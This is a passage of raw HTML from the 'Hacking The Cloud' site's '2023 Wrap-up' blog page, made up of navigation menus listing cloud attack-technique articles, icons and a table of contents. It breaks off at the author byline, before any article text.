4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#numbers class=md-nav__link> <span class=md-ellipsis> Numbers </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-articles class=md-nav__link> <span class=md-ellipsis> Most popular articles </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-social-networks class=md-nav__link> <span class=md-ellipsis> Most popular social networks </span> </a> </li> <li class=md-nav__item> <a href=#thank-you class=md-nav__link> <span class=md-ellipsis> Thank you! </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/2023_wrap-up.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>2023 Wrap-up</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a> <a href=https://fosstodon.org/@frichetten><span class="twemoji mastodon"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 